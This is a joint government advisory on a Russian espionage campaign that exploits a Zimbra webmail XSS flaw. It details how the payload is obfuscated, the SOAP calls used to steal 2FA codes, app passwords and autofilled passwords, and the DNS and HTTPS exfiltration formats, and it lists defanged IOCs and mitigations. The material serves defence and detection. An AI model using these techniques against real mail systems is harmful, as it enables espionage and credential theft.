The May 2025 advisories highlighted a cluster of activity targeting cloud-based email environments, including Microsoft Exchange in particular, and abusing legitimate APIs to perform data exfiltration in bulk [T1114.002]. The group relied on unsophisticated means of initial access, including procuring stolen credentials on criminal marketplaces [T1078], and using social engineering techniques to lure targets into interacting with a malicious site masquerading as a legitimate one. As of April 2025, one of these sites resembled a European Defence & Security Summit registration portal that required registrants to sign in to their Microsoft account to view. Once a user entered their Microsoft credentials into this malicious site, LAUNDRY BEAR’s modified version of the open source adversary emulation toolkit, Evilginx, intercepted the user’s credentials. LAUNDRY BEAR then used this authentication data, including passwords and session tokens, to access the compromised account and conduct mass email exfiltration, as well as harvest other information. This method of compromise is commonly known as an adversary-in-the-middle (AiTM) technique [T1557].  

Beginning around July 2025, LAUNDRY BEAR shifted toward a more technical method of email compromise, highlighting their continued efforts to covertly acquire email communications from a variety of Western organizations of interest and deliver them to the Russian Federation. Using a custom-developed capability [T1587.001] named “Улей” or “Ulej” (Russian for beehive), LAUNDRY BEAR successfully targeted and exfiltrated sensitive user information from organizations who use the Zimbra Collaboration Suite (ZCS) product [T1114]. Data LAUNDRY BEAR attempted to exfiltrate from compromised accounts included:

  • Last 90 days of emails,
  • Email address,
  • Password [T1589.001],
  • Global Address List (GAL) [T1087],
  • Two-factor authentication (2FA) tokens, and
  • Newly-created Application Passcode [T1098].

The covert and persistent nature of this activity, along with the absence of any known financial extortion, almost certainly indicates this group’s involvement in espionage activities with Russian government backing. Additionally, extensive Ukrainian targeting, prior to use against U.S. and other NATO allies, outlines an increasing trend within Russian cyber threat groups to target Ukrainian users first—both as a priority target and as a testbench for malicious cyber techniques before broader global deployment.

Targeting details

LAUNDRY BEAR has targeted and compromised users in various organizations, including those associated with:

  • the Defense Industrial Base (DIB),  
  • the federal and local government,
  • education,
  • energy,
  • law enforcement,  
  • media,  
  • non-governmental organizations, and
  • technology.

Technical details

Note: This advisory uses the MITRE ATT&CK® Matrix for Enterprise framework, version 19. This advisory also uses MITRE D3FENDTM version 1.4.015. See Appendix A and Appendix B for tables of the activity mapped to MITRE ATT&CK and D3FEND tactics, techniques, and countermeasures.

Ulej is a novel data exfiltration and aggregation capability, that currently (as of the publication of this report) supports a campaign specifically targeting users of ZCS webmail servers. This capability is used to exploit CVE-2025-66376 [Common Weakness Enumeration (CWE) CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')], but likely could be adapted to exploit other vulnerabilities. It exfiltrates emails and other sensitive user data from a victim’s system immediately after exploitation and stores the data in an actor-controlled unattributable virtual private server (VPS) [T1074.002] running LAUNDRY BEAR’s “Flowerbed” collection framework. The collected data is almost certainly further exfiltrated to internal network resources for review and long-term retention.

Reconnaissance

LAUNDRY BEAR uses the Ulej capability to exploit the CVE-2025-66376 vulnerability in organizations using ZCS. This campaign’s targeted victimology and limited exploitation capabilities likely indicate this group manually identifies and targets the victim organizations. LAUNDRY BEAR likely identifies organizations with public-facing Zimbra infrastructure by port scanning [T1595] and fingerprinting datasets easily procured through various commercial vendors [T1596.005].  

After identifying a target organization, the group likely compiles email addresses for individual users to target with the exploit [T1589.002] from datasets offered by commercial vendors [T1597.002], open source intelligence [T1593], or previously exfiltrated data [T1597].  

Resource development

The actors procure VPSs from a variety of providers [T1583.003], including those with Know Your Customer (KYC) requirements, and often use fabricated identities. LAUNDRY BEAR primarily uses Mullvad VPN [T1583] when interacting with these servers, further demonstrating the group’s intent to mask their identity and maintain operations security (OPSEC). After the server is provisioned, an automated process deploys the Docker containers necessary for Ulej’s Flowerbed framework [T1608], which then receives and aggregates the data Ulej exfiltrates. These servers are typically only used for 7-60 days before moving to new infrastructure.

Flowerbed framework

Flowerbed is a Python project that uses Docker for containerization. The project includes four different Docker containers:

  • Catcher,
  • Certbot,
  • Nginx, and
  • Gardener.

Catcher acts as both a DNS and HTTP server to receive and aggregate exfiltrated victim information [T1048]. For additional information on Catcher, refer to the Exfiltration section of this advisory. Flowerbed’s next container, Certbot, is based on one of the official Certbot containers, which allows for automated generation of Let’s Encrypt certificates using DNS challenges through Cloudflare. This certificate can then be used by the Nginx container, which serves as an HTTPS reverse proxy for Catcher, enabling Flowerbed to disguise some of its exfiltration activity through an encrypted communications channel [T1048.002]. The Nginx reverse proxy also validates that the Server Name Indicator (SNI) value contains “*.i.*” prior to forwarding the traffic to Catcher. If the SNI does not contain that string, the Nginx server returns a 444 error to the client. This is likely an attempt to reject non-Ulej connections. Finally, the Gardener container functions as a health check for the Catcher service. Gardener is a simple Python script that validates Catcher correctly receives and processes data.

The simplistic Flowerbed codebase has indications that artificial intelligence (AI) played a role in its development. This highlights how AI is increasingly being used to develop malicious capabilities [T1588.007]. The dependence on AI for a simple capability, such as Flowerbed, alongside a previous reliance on open source capabilities, such as Evilginx2 [T1588.002], likely indicates a lack of advanced technical knowledge within LAUNDRY BEAR, especially in relation to true software development capabilities.

Initial access

To gain initial access, LAUNDRY BEAR sends an email containing a malicious JavaScript payload to the target [T1566]. Through exploitation of CVE-2025-66376, this JavaScript payload is immediately executed once the user views the malicious email [T1203], such as the one shown in Figure 1, in the ZCS webmail platform. Since at least November 2025, LAUNDRY BEAR began sending these phishing emails from victim infrastructure through compromised accounts [T1199], as shown in the email metadata in Figure 2. These compromised accounts were likely previous victims of this, or another LAUNDRY BEAR, campaign and their use is intended to further obfuscate and frustrate anti-phishing tools and training.

Figure 1: Example of malicious email
Figure 1: Example of malicious email

Figure 2: Headers from an example malicious email
Figure 2: Headers from an example malicious email

According to the National Vulnerability Database (NVD), CVE-2025-66376 was initially published on 5 January 2026. This vulnerability allows for execution of a JavaScript payload included in email content due to improper sanitization of Cascading Style Sheet’s (CSS) @import directives within an email [5]. Because the activity attributed to this campaign began in July 2025—months before Synacor released a patch and the CVE was published—the payload initially exploited a zero-day vulnerability at that time [T1587.004].  

Utilization of a zero-day exploit within this campaign demonstrates the ability for even emerging threat groups like LAUNDRY BEAR to operationalize novel exploits into a highly successful capability.

Hidden in LAUNDRY BEAR’s email is a Base64 encoded payload within the “onload” field of a Scalable Vector Graphics (SVG) element [T1027.017], as shown in Figure 3. Leading up to the inclusion of this payload in the SVG element are various instances of @import directives, as required to leverage CVE-2025-66376. This payload includes an XOR encrypted final script encoded in a Base64 inner payload (see Figure 3) [T1027.013]. The outer payload decodes and decrypts the inner payload using an XOR function and a hardcoded key and then executes the script contained within the inner payload containing the collection and exfiltration logic. By changing the key used for the XOR encryption of the inner payload or adding additional @import directives with non-functional code [T1027.010], LAUNDRY BEAR can easily generate new payloads that bypass basic threat detection signatures. This malicious payload attempts to collect and exfiltrate information in 12 asynchronous stages [T1119]. The stages in order of appearance within the payload are as follows:

  1. sendStartPing,
  2. gather_email,
  3. gather_environment,
  4. gather_2fa_codes,
  5. gather_app_password,
  6. gather_device_status,
  7. gather_oauth_consumers,
  8. gather_autocomplete_password,
  9. enable_mail_protocols,
  10. gather_gal,
  11. sendArchives, and
  12. sendFinishPing. 

Figure 3: Malicious payload of example email
Figure 3: Malicious payload of example email

Use of a zero-day exploit within this campaign demonstrates the ability for even emerging threat groups like LAUNDRY BEAR to operationalize novel exploits into a highly successful capability [T1587].

Persistence and credential access

To establish sustained persistence into the victim’s email account, the script attempts to modify account preferences and collect authentication information. Any collected credentials are later exfiltrated, as further described in the Exfiltration section below. Other campaigns attributed to LAUNDRY BEAR also demonstrated the group’s ability to circumvent multi-factor authentication through session token replay [T1550.004], and the Zimbra campaign follows a similar trend.

The script used in this campaign tries to discover the victim’s email address during the gather_email stage [T1087]. The script searches for this email address in two ways. First, it examines the batchInfoResponse variable, which an HTML script element on the webpage can define, for an email address. Even if the script finds an email address there, it also checks whether it acquired a Cross-Site Request Forgery (CSRF) token as described later in the Collection section of this advisory. If so, the script uses the “GetIdentitiesRequest” Simple Object Access Protocol (SOAP) command under the “ZimbraAccount” namespace to determine the victim’s email address [T1185] and then exfiltrates it. However, if the script does not have a CSRF token or the SOAP request fails, the script exfiltrates the email value recovered from the first method instead. If both attempts fail to capture the victim’s email, the script sends a JavaScript Object Notation (JSON) payload with a key of “email” and value of null over HTTPS and does not attempt DNS exfiltration.

During the gather_autocomplete_password stage, the script attempts to collect the victim’s saved password via the autocomplete feature of the victim’s password manager. The script injects two HTML div elements requesting login credentials onto the page outside of the victim’s view, as shown in Figure 4 and Figure 5. After waiting five seconds, the script then attempts to extract the password provided automatically by the password manager from the input element shown in Figure 4. If there is no value in that input field, it checks the password input field shown in Figure 5. If neither input field contains a value, a JSON payload with a key of “autocomplete_password” and value of null is sent over HTTPS and DNS exfiltration is not attempted.

Figure 4: First illegitimate login HTML element
Figure 4: First illegitimate login HTML element

Figure 5: Second illegitimate login HTML element
Figure 5: Second illegitimate login HTML element

LAUNDRY BEAR almost certainly relies on a mail client using the Internet Message Access Protocol (IMAP) for persistent access to the victim’s mailbox. During the enable_mail_protocols stage, a SOAP request leveraging the “ModifyPrefsRequest” command under the “ZimbraAccount” namespace is sent. This request attempts to set the “zimbraPrefImapEnabled” preference to TRUE. While the default setting for “zimbraPrefImapEnabled” is not well documented, this action is almost certainly intended to ensure that IMAP access to the victim’s mailbox is enabled.

ZCS does not support 2FA for some mail clients, including IMAP. To support users who rely on IMAP clients, ZCS allows for the generation of Application Passcodes. Application Passcodes are randomly generated passwords that can be used for clients that cannot support the normal 2FA process to authenticate. During the gather_app_password stage, the script makes a SOAP request using the “CreateAppSpecificPasswordRequest” command under the “ZimbraAccount” namespace to create a new Application Passcode [T1556.006]. The SOAP request uses “ZimbraWeb” as the name of the application.

Additionally, the script also attempts to collect 2FA tokens. During the gather_2fa_codes stage, the script makes a SOAP request using the “GetScratchCodesRequest” command under the “ZimbraAccount” namespace. The script then attempts to exfiltrate any non-null 2FA codes collected this way. The number of codes can vary, and each code is exfiltrated to Flowerbed individually.

Collection

As demonstrated in the Persistence and credential access section, this script relies heavily on SOAP requests to collect victim information. To make these requests, the script aims to acquire the victim’s current CSRF token, which it attempts to access within the webpage’s local storage using localStorage.getItem("csrfToken"). If the script is unable to acquire this CSRF token, it will be unable to make any SOAP requests. In addition to the SOAP commands documented in the Persistence and credential access section, other SOAP commands executed to collect victim information are shown in Table 1.

Table 1: Additional SOAP commands used

SOAP Command 

Namespace 

Stage 

GetInfoRequest 

zimbraAccount 

gather_environment 

GetDeviceStatusRequest 

zimbraSync 

gather_device_status 

GetOAuthConsumersRequest 

zimbraAccount 

gather_oauth_consumers 

SearchGalRequest 

zimbraAccount 

gather_gal 

The script attempts to collect the victim’s GAL through brute force by searching for each two-character combination from a character set of “abcdefghijklmnopqrstuvwxyz1234567890.-_”. These queries are conducted using 20 batches of SOAP requests with 77 “SearchGalRequest” SOAP commands in each batch except for the last request containing only 58.

During the gather_environment stage, the script attempts to determine which type of ZCS webmail client the victim is using. The script checks the user’s current URL to determine the client type being used, checking for certain indicators (shown in Table 2) to determine the client type. The corresponding value is then used as the payload when exfiltrating the client type.

Table 2: ZCS webmail client types

Indicator 

Client Type 

Associated Value 

?client=advanced 

Advanced 

c 

/h/ 

Standard 

h 

/modern/ 

Modern 

m 

As part of collection, the script attempts to harvest any emails not marked as “junk” from the last 90 days from the victim’s account. Emails are collected daily by an HTTP GET request to the URL path, “/home/~/?fmt=tgz&meta=0&query=date:-{DAY_OFFSET}d AND (not in:junk)”. The {DAY_OFFSET} value would be between 0 and 89 representing how many days ago the email was sent or received. To prevent redundant collection and exfiltration of emails, a variable with a name based on the email date being queried, using a format of zd_comp_YYYY-MM-DD, and value of true, is saved to the window.top.localStorage property. This variable is saved regardless of whether the email is successfully exfiltrated.  

According to Mozilla documentation, if the user is not in a private browsing session, any data stored to localStorage does not typically expire. This means that if the user happens to execute the script again from the same computer, the script avoids attempting to re-exfiltrate previously captured emails. However, the script always attempts to pull any emails with a {DAY_OFFSET} of zero. In other words, the script always pulls emails sent or received the same day it is run. After email results are returned from the query for each day of email activity, those results are then passed to Flowerbed as described in the Exfiltration section.

The script also provides LAUNDRY BEAR with telemetry on any errors that occur during the collection process. This is accomplished by executing any collection or exfiltration code through helper functions that contain error handling logic. If an error occurs, a payload containing information on the error itself, the context of the error happening, and the stage in which the error occurred is sent to Flowerbed as described in the Exfiltration section below. For cases where the error occurs within a SOAP request, “:api” is concatenated to the stage value in the payload. If an error occurs during the batch SOAP requests that occur when collecting the GAL of the victim, the stage value will use a format of gather_gal:{VAL}:api. The {VAL} placeholder indicates which batch request, a number from 0 to 19, the error occurred in. Errors that occur during the password autocomplete interception process will use “gather_autocomplete_password:dom” for the stage value. Finally, if an error occurs when attempting to collect or exfiltrate a specific day’s emails, the stage will include which day the error occurred on, using the previously defined placeholder {DAY_OFFSET}, with a format of sendArchive:day-{DAY_OFFSET}.

Exfiltration

At the end of each stage in the collection process, the script attempts to exfiltrate acquired information to Flowerbed. The script primarily relies on two forms of data exfiltration: DNS [T1048.003] and HTTPS. Some information is exfiltrated over both the DNS and HTTPS channels.

Prior to exfiltration, a randomized 10- or 11-character alphanumeric string is generated as an identifier for the victim. This identifier is included in the URL of both the DNS- and HTTPS-based exfiltration.  

DNS exfiltration

DNS exfiltration occurs through DNS A record queries. To ensure data exfiltrated through DNS is not corrupted when traversing through non-actor-controlled DNS infrastructure, Ulej maintains compliance with RFC 1035, Domain Names - Implementation and Specification, specifically accounting for the case insensitivity and subdomain length requirements. Base32 encoding is used to create a case-insensitive payload. Once the payload is encoded, a period (“.”) is added every 60 characters to ensure each subdomain is under 63 characters long. The script then creates a new image object sourced from a URL with the scheme defined in Figure 6. Any traffic involving DNS exfiltration will have “d-“ prefixing the victim identifier, and the subdomain immediately following indicates the type of information being exfiltrated.

Figure 6: Structure for information exfiltrated by DNS
Figure 6: Structure for information exfiltrated by DNS

When the script generates an image object, the browser tries to retrieve the complete domain of the URL specified as the source of the image. This triggers a DNS request sent to the actor-controlled server and processed by Flowerbed. Table 3 lists both the information exfiltrated via DNS and their corresponding data type identifiers in the DNS queries.  

Table 3: DNS exfiltration

Type of Information 

Exfiltration Stage 

Data Type 

Victim’s Email Address 

gather_email 

e 

Client Type 

gather_environment 

c 

Zimbra Version 

gather_environment  

v 

URL at Time of Exploitation 

gather_environment 

url 

2FA Scratch Codes 

gather_2fa_codes 

2fa 

Newly Created Application Password 

gather_app_password 

pa 

Harvested Autocomplete Password 

gather_autocomplete_password 

pw 

HTTPS exfiltration

Any information exfiltrated via DNS is also exfiltrated through HTTPS, as well as additional data including email content, contacts, attachments, and error logging information. By using Let’s Encrypt certificates, this group can quickly deploy new infrastructure and leverage encrypted HTTPS communications with valid server certificates when exfiltrating information from the victim’s environment. The HTTPS exfiltration capability only uses two HTTP content types, defined in Table 4. Traffic associated with HTTPS exfiltration will use the URL scheme shown in Figure 7.  

Table 4: HTTPS exfiltration types

Content Type 

URL Path 

application/json 

/v/p 

application/octet-stream 

/v/d 

Figure 7: Structure for information exfiltrated by HTTPS
Figure 7: Structure for information exfiltrated by HTTPS

Some of the data transmitted via HTTPS uses the standard JSON content type format. The script includes the information in a POST request to actor-controlled infrastructure.  

Table 5 provides a summary of the JSON-based exfiltration.

Table 5: HTTPS JSON exfiltration  

Type of Information 

Exfiltration Stage 

JSON Key(s) 

Victim’s Email Address 

gather_email 

email 

Client Type, Version, and Current URL 

gather_environment 

client, version, full_url 

Newly Created Application Password 

gather_app_password 

app_password 

Harvested Autocomplete Password 

gather_autocomplete_password 

autocomplete_password 

The script transmits all HTTPS exfiltration not identified in Table 5 using the Octet-Stream content type as binary data. The POST requests for this method include a filename in the “X-Filename” header. Traditionally, developers use headers prefixed with “X-” to denote custom headers that do not follow a defined standard. The purpose of including this header remains unclear since the Catcher capability ignores the provided filename when saving the data. Table 6 summarizes the data exfiltrated in this format.

 Table 6: HTTPS binary exfiltration

Type of Information 

Exfiltration Stage 

X-Filename Header 

SOAP request for GetInfoRequest 

gather_environment 

zimbra_batch_analytics.json 

SOAP request for GetScratchCodesRequest 

gather_2fa_codes 

zimbra_batch_analytics.json 

SOAP request for GetDeviceStatusRequest 

gather_device_status 

zimbra_batch_analytics.json 

SOAP request for GetOAuthConsumersRequest 

gather_oauth_consumers 

zimbra_batch_analytics.json 

Victim Organization’s Global Address List 

gather_gal 

telemetry_{1-20}.json 

Last 90 Days of Victim’s Emails 

sendArchives 

telemetryData_{0-89}.json 

The script sends all exfiltrated data identified in Table 6 to the Catcher service exactly as received from the SOAP request in a JSON payload, except for email exfiltration. For email exfiltration, the script sends it as a GZIP compressed archive [T1560]. Although most of the exfiltration consists of valid JSON, the script still attempts to exfiltrate all information identified in Table 6 using the application/octet-stream content typing rather than application/json.

At the beginning and end of the collection and exfiltration activity, during the sendStartPing and sendFinishPing stages respectively, the script submits a POST request with a JSON payload to indicate that the script is starting or finishing execution. Throughout execution, the script also logs error events and send the logs using similar JSON payloads. The script sends the JSON in a POST request to the URL documented in Figure 2, using a URL path of “/v/p” and with a “subtype” key that shows which type of action it logged (start, finish, or error).  

Catcher

Ulej exfiltrates information to Flowerbed to be handled by a service named Catcher. Catcher is a containerized Python application, running in Docker as part of Flowerbed, which is detailed in the Resource development section. It receives exfiltrated data and temporarily stores it, enabling its eventual transfer to infrastructure designed for long-term, secure storage.

Catcher acts as an HTTP server over port 8000 and a DNS server on port 53. As described in the Resource development section, the Flowerbed project uses an additional Docker container running an Nginx reverse proxy to enable HTTPS support. This reverse proxy uses a certificate generated by Let’s Encrypt and forwards all traffic with an SNI containing “*.i.*” to port 8000 within the Catcher container.

The DNS service can accept A, AAAA, MX, TXT, and CAA queries. For any MX, AAAA, or CAA queries, the server will always provide an empty response. The system only supports TXT records as needed to process Automatic Certificate Management Environment (ACME) requests, which enable the assignment of Let’s Encrypt certificates. If the server receives an A query, Catcher will always respond with the public IP address of the Flowerbed server.  

However, if a query includes a domain formatted as shown in Figure 6 and Figure 7, the service saves a log file in JSON format to disk containing the following details of the DNS query:

  • Time of query,
  • Source IP address for query,
  • Queried domain, and
  • Type of query.

The HTTP server typically responds with OK, except in cases where the path is “pixel.gif” when the response contains a 1x1 gif image with a SHA-256 hash of ef1955ae757c8b966c83248350331bd3a30f658ced11f387f8ebf05ab3368629. Like the DNS service, the HTTP service will only log entries when the domain found in the host header of the request follows the expected formatting as seen in Figure 6 and Figure 7. As the HTTPS exfiltration uses non-standardized binary and JSON-formatted payloads when exfiltrating to Catcher, Catcher will check the content type of the request. If the content type is set to “application/json”, Catcher encodes the data in Base64 and includes it in the JSON log entry written to disk. If the content type is set to any other value, Catcher leaves the Base64 payload in the JSON log entry blank and saves the payload to a separate file with the same filename as the JSON log entry with a “.bin” file extension. An HTTPS exfiltration event causes Catcher to save a JSON formatted log file to disk containing the following information from the HTTP request:

  • Time,
  • Source IP address,
  • Request method,
  • Host,
  • Path,
  • Query string,
  • Headers, and
  • Base64 payload.

These JSON event log files and binary output files are then initially saved to the directory /root/hits/tmp and later moved to the /root/hits/ready directory once processed. This prevents incomplete files, which are still being uploaded to Catcher, from premature exfiltration from the server. Approximately every 60 seconds, a likely automated workflow establishes a Secure Shell (SSH) connection with the server hosting Flowerbed for a few seconds, almost certainly exfiltrating the data processed by Catcher to non-public-facing infrastructure. The command in Figure 8 also executes hourly to remove all files last modified at least two days ago from the /root/hits/ready directory.

Figure 8: Command used for automated directory cleanup
Figure 8: Command used for automated directory cleanup

Response strategies

Mitigations

In many cases, by the time an organization identifies a compromise related to this campaign, numerous sensitive and proprietary emails have already been exfiltrated. The significant risk posed by this cyber threat emphasizes the importance for organizations that use ZCS and other similar webmail solutions to take proactive steps to mitigate this risk.

All organizations that use the ZCS webmail service should immediately prioritize ensuring that their ZCS is not running a vulnerable version. A patch for CVE-2025-66376 was released for both 10.1.13 and 10.0.18 versions of ZCS [D3-AH]. If immediate patching is not feasible, organizations should advise employees to use alternative mail clients to access email and avoid using the Classic ZCS webmail client until ZCS is updated to a non-vulnerable version [d3f:Isolate].

System administrators should closely monitor any Internet-connected ZCS or other email systems and the workstations that access those systems and promptly apply available software updates [D3-AH]. Administrators can maintain awareness of active vulnerability exploitation by referencing open source resources, including CISA’s Known Exploited Vulnerabilities Catalog and NCSC-UK’s Responding to active exploitation of vulnerabilities guidance.

Organizations should consider using a third-party authentication service that supports passkeys for authentication to mediate access to ZCS and other services that do not natively support passkeys. By doing so, organizations can work to eliminate the possibility of automated password collection from autocomplete or password reuse [D3-CH]. However, Application Passcodes may still be necessary and should be monitored closely.  

Organizations should implement network monitoring capabilities with collection and short-term retention of packet capture or NetFlow data and maintain log collection and storage [CPG 3.Q]. This will allow organizations to monitor for and identify suspicious network activity [CPG 4.B], such as:

  • Significant amounts of outbound data being sent to IPs associated with VPS providers not used by the organization [D3-NTA];
  • Frequent DNS queries for a suspicious domain with seemingly random subdomains [D3-DNSTA];
  • A sudden spike of connections to a server associated with a recently established domain [D3-NTCD]; and  
  • Connections to internal services, such as webmail, from VPN providers frequently leveraged by this group for nefarious activity, such as Mullvad VPN [D3-NTCD].

Additionally, for organizations that can inspect the content of outbound HTTPS connections via break-and-inspect infrastructure, security teams should identify traffic matching the characteristics described in the Exfiltration section of this advisory.

Indicators of compromise (IOCs)

Flowerbed infrastructure

The following indicators have been attributed to use by LAUNDRY BEAR for their campaign targeting ZCS’s webmail service as of the publication of this advisory. (Disclaimer: Due to the frequency of operational structure changes by this group, these indicators are intended solely for historic attribution purposes. Some indicators, such as IPs, compromised emails, and domains, may be outdated, so organizations should check for current activity before acting on these IOCs.) Table 7 provides details about the server infrastructure used to host Flowerbed, and Table 8 lists the corresponding SHA-1 hash values for the Let’s Encrypt certificates used by that infrastructure [D3-IAA].

Table 7: Flowerbed server infrastructure

Domain 

IP Address 

First Seen 

Last Seen 

zmailanalytics[.]com 

216.252.238[.]104 

8 July 2025 

15 October 2025 

zimbra-metadata[.]com 

216.252.238[.]18 

20 August 2025 

14 October 2025 

analyticemailmeter[.]com 

37.120.247[.]228 

24 September 2025 

18 March 2026 

emailanalytics.com[.]ua 

185.86.79[.]95 

24 September 2025 

18 March 2026 

mailnalysis[.]com 

104.248.134[.]194 

11 November 2025 

17 February 2026 

zimbrastat[.]com 

64.226.124[.]190 

18 December 2025 

18 March 2026 

zimbrasoft.com[.]ua 

193.238.152[.]66 

20 January 2026 

18 March 2026 

synacorzimbra[.]nl 

216.252.238[.]64 

3 February 2026 

30 March 2026 

istc-cloud[.]com 

194.156.103[.]193 

5 February 2026 

30 March 2026 

Table 8: Flowerbed X.509 certificate SHA-1 hashes  

Associated Domain 

X.509 SHA-1 Hash 

First Seen 

Last Seen 

zmailanalytics[.]com 

2e4f314bc9943cab5005d6fde0b271c74d47bc9d 

8 Jul 2025 

6 Aug 2025 

*.i.zmailanalytics[.]com 

50a87d926621dd06389ba50d86e0ff574ed713a8 

6 Aug 2025 

13 Oct 2025 

*.i.zimbra-metadata[.]com 

c5a72420e7bb308d078e62128430897f82194c95 

20 Aug 2025 

14 Oct 2025 

*.i.analyticemailmeter[.]com 

8959c4d29e29f02ea94ea8bb21c8df2594c5549d 

24 Sep 2025 

8 Nov 2025 

*.i.emailanalytics.com[.]ua 

62eb76432597694edb01c1fe57aab0cfe03a7178 

25 Sep 2025 

27 Sep 2025 

*.i.mailnalysis[.]com 

cddf5c3be1e07f28140aed165b929bf2d614922a 

12 Nov 2025 

17 Dec 2025 

*.i.zimbrastat[.]com 

18b3ad442ce73cc8656d51d75bbd7c855f2cb7e8 

18 Dec 2025 

28 Dec 2025 

*.i.zimbrasoft.com[.]ua 

1b25041ececf2457eef0270fc1d785cec8ec9ded 

21 Jan 2026 

10 Feb 2026 

*.i.synacorzimbra[.]nl 

e4fe6466a4f9a4249fe330651e914e45bbdca44a 

5 Feb 2026 

22 Mar 2026 

*.i.istc-cloud[.]com 

b6b77c9a455225d525834a403ca9ef5481ed0447 

12 Feb 2026 

30 Mar 2026 

LAUNDRY BEAR has used the following email addresses to procure resources used for this campaign:

  • ivanka.zurabishvili@proton[.]me,
  • zmul1@buildandconsulting[.]com,
  • garrysmithme@pinmx[.]net, and
  • hostingclient@pinmx[.]net.

Phishing distribution

LAUNDRY BEAR primarily relied on ProtonMail for distribution of malicious email. However, as stated above, LAUNDRY BEAR’s more recent efforts likely have shifted to distributing the payload through previous victims.  

The following email addresses have distributed payloads attributed to this campaign:

  • c.laurent.ejfa@proton[.]me,
  • j.moreau.epsc@proton[.]me,
  • liberty.insights@proton[.]me,
  • certain email addresses (presumably compromised) at the isofts.kiev[.]ua domain (i.e., ending with @isofts.kiev[.]ua), and
  • certain email addresses (presumably compromised) at the navs.edu[.]ua domain (i.e., ending with @navs.edu[.]ua).

Additionally, the following are SHA-256 hashes of email samples containing the malicious payload attributed to this campaign:

  • 98df604ecc57f884a2e6ce3266a0013ad64455cac48442c2312cfa4765007aaf,
  • 60db9abae75cd8ccc49dd7ea5feb41677566dcd442f12ebc5745ffd2810fb874,
  • b1f5beb1175fc5c7d1806a2f0d900eb124c54f0286c5c52b66eea7a6633adb1d, and
  • 1517b3caa495f6c4e832df9c75fc94667e3c233773f7fa4e056d5e30e5ead760.

Post-compromise artifacts

Currently, the script does not remove artifacts. This leaves additional opportunities to identify victims of this activity. While emphasis should always be placed on consistent monitoring of network traffic and endpoint activity, there are a variety of persistent artifacts described below that can be used to identify victims of this campaign.

This Ulej capability relies on creating a significant number of SOAP requests to collect account information for exfiltration. ZCS logs from these requests are stored, by default, in the /opt/zimbra/log/mailbox.log file [D3-PA]. A significant amount of SOAP request activity that aligns with what was described in the Persistence and credential access and Collection sections of this advisory could indicate a potential compromise. Specific examples of high-risk SOAP request activity might include:

  • Many SearchGalRequest command requests from a single user over a short period of time;
  • Use of the CreateAppSpecificPasswordRequest command, especially in cases where it is creating an Application Passcode named “ZimbraWeb”; and
  • Use of the GetScratchCodesRequest command.

While LAUNDRY BEAR uses the localStorage property to track what days had emails previously exfiltrated, defenders can use this property to identify victims of this campaign and determine the scope of exfiltrated information [D3-PA]. Review of the items stored in that property for an organization’s ZCS webmail client page on an endpoint device could indicate compromise if there are items named with a format of zd_comp_YYYY-MM-DD, as explained in the Collection section of this advisory.

While Application Passcodes have non-malicious purposes, in this case instances of these passcodes with the name “ZimbraWeb” are almost certainly malicious. The ZCS webmail application can support 2FA natively and does not require the use of an Application Passcode, so there is no reason that there should be one named “ZimbraWeb.”

In instances where organizations identify victims of this campaign, they should also examine the inbox of the suspected victim for the original phishing email [D3-MA]. If an email that has a payload exploiting CVE-2025-66376 is discovered, steps should be taken immediately to identify and quarantine other instances of emails with similar body content, senders, and subject lines to prevent further exploitation and exfiltration.  

Remediation

In the event an organization identifies activity associated with this campaign, that organization should take steps to minimize further exploitation. The organization should consider requesting that employees minimize use of the ZCS webmail client until the organization updates to a patched version that is not vulnerable to CVE-2025-66376.

Organizations should use identifiers from the IOCs section of this report to identify any individuals compromised by this campaign and record the date(s) of compromise(s) to determine the scale and scope of emails exfiltrated.

All users from the organization should have all Application Passcodes and 2FA scratch keys revoked. Affected organizations should require all employees to change passwords in line with establishing minimum password strength requirements [CPG 3.B] and creating unique credentials [CPG 3.C], specifically noting that compromised employees might have had any password stored in a password manager exfiltrated.

Works cited

[1] Netherlands General Intelligence and Security Service (AIVD) and Netherlands Defence Intelligence and Security Service (MIVD). AIVD and MIVD identify a new Russian cyber threat actor. 2025. https://www.aivd.nl/site/binaries/site-content/collections/documents/2025/05/27/aivd-en-mivd-onderkennen-nieuwe-russische-cyberactor/Advisory+AIVD+en+MIVD+Public+report+on+new+cyber+actor.pdf

[2] Microsoft Corporation. New Russia-affiliated actor Void Blizzard targets critical sectors for espionage. 2025. https://www.microsoft.com/en-us/security/blog/2025/05/27/new-russia-affiliated-actor-void-blizzard-targets-critical-sectors-for-espionage/

[3] Palo Alto Networks Unit 42. Russian Global Webmail Espionage. 2026. https://unit42.paloaltonetworks.com/russian-webmail-espionage/ 

[4] Proofpoint. TA488 Targets Zimbra Mailservers with Half-Click Exploits. 2026. https://www.proofpoint.com/us/blog/threat-insight/ta488-zcs-exploit

[5] Seqrite. Operation GhostMail: Russian APT exploits Zimbra Webmail to Target Ukraine State Agency. 2026. https://www.seqrite.com/blog/operation-ghostmail-zimbra-xss-russian-apt-ukraine/  

Footnotes

1 Národní úřad pro kybernetickou a informační bezpečnost
2 Forsvarets Efterretningstjeneste
3 Välisluureamet
4 Sotilastiedustelu
5  Suojelupoliisi
6 Direction gĂŠnĂŠrale de la sĂŠcuritĂŠ intĂŠrieure
7 Agence nationale de la sécurité des systèmes d’information
8 Agenzia Informazioni e Sicurezza Esterna
9 Agenzia Informazioni e Sicurezza Interna
10 Serviciul de Informații și Securitate al Republicii Moldova
11 Agencja Wywiadu
12 Służba Kontrwywiadu Wojskowego
13 Centro Nacional de Inteligencia
14 Nationellt Cybersäkerhetscenter
15 MITRE and ATT&CK are registered trademarks of The MITRE Corporation. MITRE D3FEND is a trademark of The MITRE Corporation.

Acknowledgements

The authoring agencies acknowledge the contributions to this advisory from Palo Alto Networks Unit 42 and Proofpoint.

Disclaimer of endorsement

The information and opinions contained in this document are provided "as is" and without any warranties or guarantees. Reference herein to any specific commercial products, process, or service by trade name, trademark, manufacturer, or otherwise, does not constitute or imply its endorsement, recommendation, or favoring by the United States Government, and this guidance shall not be used for advertising or product endorsement purposes.

Organizations have no obligation to respond or provide information back to the authoring organizations in response to this joint advisory. If, after reviewing the information provided, an organization decides to provide information to the authoring organizations, reporting must be consistent with all applicable laws and policies.

Purpose

This document was developed in furtherance of the authoring agencies’ cybersecurity missions, including their responsibilities to identify and disseminate threats, and to develop and issue cybersecurity specifications and mitigations. This information may be shared broadly to reach all appropriate stakeholders.

Contact

United States organizations 

  • National Security Agency 
    Cybersecurity Report Feedback: CybersecurityReports@nsa.gov 
